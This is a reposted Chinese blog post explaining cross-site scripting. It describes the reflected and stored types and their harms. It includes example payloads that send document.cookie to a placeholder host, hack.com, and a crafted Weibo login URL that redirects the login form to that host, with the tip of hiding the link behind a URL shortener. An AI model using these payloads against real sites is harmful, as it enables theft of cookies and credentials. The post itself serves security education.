谈论XSS

简介:

XSS 叫跨站脚本攻击(Cross Site Script),那么XSS原本应该叫做CSS,但是由于CSS的简称已经被连级样式表 使用了,所以就换个称谓XSS。

为什么叫做跨站脚本攻击呢?

它的意思就是在别人的网站上嵌入脚本,而这个脚本原本不是属于这个网站的。这个解释很直观吧。

怎么嵌入脚本呢?

image

比如这么个搜索结果页,当用户搜索test的时候,页面会显示“搜索关键词:test”

这个时候,这里的test就很有可能会出现xss漏洞,如果该页面是直接将用户输入的东西“返回”到页面上,那么存在的xss漏洞就可以这样利用:

输入:<script>alert(1);</scrip>

那么页面就会跳出alert(1);

这种XSS叫做反射性XSS。

 

再谈论另外一种场景,每个网站都有反馈框。允许用户反馈数据给后台。

而这个后台一般都是管理员进行审核,会在管理后台展示。

如果一个<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反馈数据由用户输入

然后这个数据“直接”返回到管理后台上,那么这个时候,管理后台管理员的cookie就被作为参数传递到http://hack.com 了。后面黑客就可以使用cookie来做登录管理后台了。

这种XSS由于攻击代码存储进数据库了,所以叫做存储型XSS。

危害

一般来说,存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己,而存储型的XSS可能会影响到网站的其他用户。

XSS可以如上面例子说的:

1 盗取cookie

2 钓鱼

比如我将一段代码注入进某个网站的支付页面,这段js代码做的事情是,动态控制这个支付页面的Form表单,比如将这个form表单的html替换成目标网站一个相似的html。

或者另一个案例是使用反射型XSS,我预先生成一个url,这个url是一个有反射型xss漏洞的页面。比如 document.getElementById(“loginForm”).action=”http://hack.com”http://weibo.com/login?username=<script>document.getElementById(“loginForm”).action=”http://hack.com”</script> ,然后我将这个页面通过qq的群邮件发给qq群中的所有人,一旦有人点击这个链接,那么就会进入微博登陆页,万一再输入用户名密码,那么这个人的用户名密码就会被盗了。当然,这个案例有个问题,url太假了,怎么办?短链接服务。现在有很多厂商提供了短连接的服务。那么最后的链接是实际看不出来问题的。

3 DDOS攻击

当然这个前提是有大量用户已经被XSS攻击了,所以他们浏览的页面已经被植入了代码,这个代码的作用就是循环向一个网站发送请求,如果有xss漏洞的这个网站是有大量用户的,比如微博,那么后一个被DDOS攻击的网站就真心惨了。

总之,XSS的危害就在于网站的页面可以被随意嵌入js代码。




本文转自轩脉刃博客园博客,原文链接:http://www.cnblogs.com/yjf512/p/3461986.html,如需转载请自行联系原作者


相关文章
|
安全 JavaScript 数据格式
|
26天前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
19 0
|
3月前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?
|
3月前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。
|
6月前
|
存储 安全 JavaScript
渗透攻击实例-xss跨站脚本攻击
渗透攻击实例-xss跨站脚本攻击
|
3天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
1月前
|
安全 JavaScript 前端开发
Low 级别反射型 XSS 演示(附链接)
Low 级别反射型 XSS 演示(附链接)
17 0
|
1月前
|
存储 JavaScript 前端开发
DOM 型 XSS 演示(附链接)
DOM 型 XSS 演示(附链接)
61 0
|
1月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)
61 0
|
1月前
|
存储 前端开发 JavaScript
反射型 XSS 攻击演示(附链接)
反射型 XSS 攻击演示(附链接)
94 0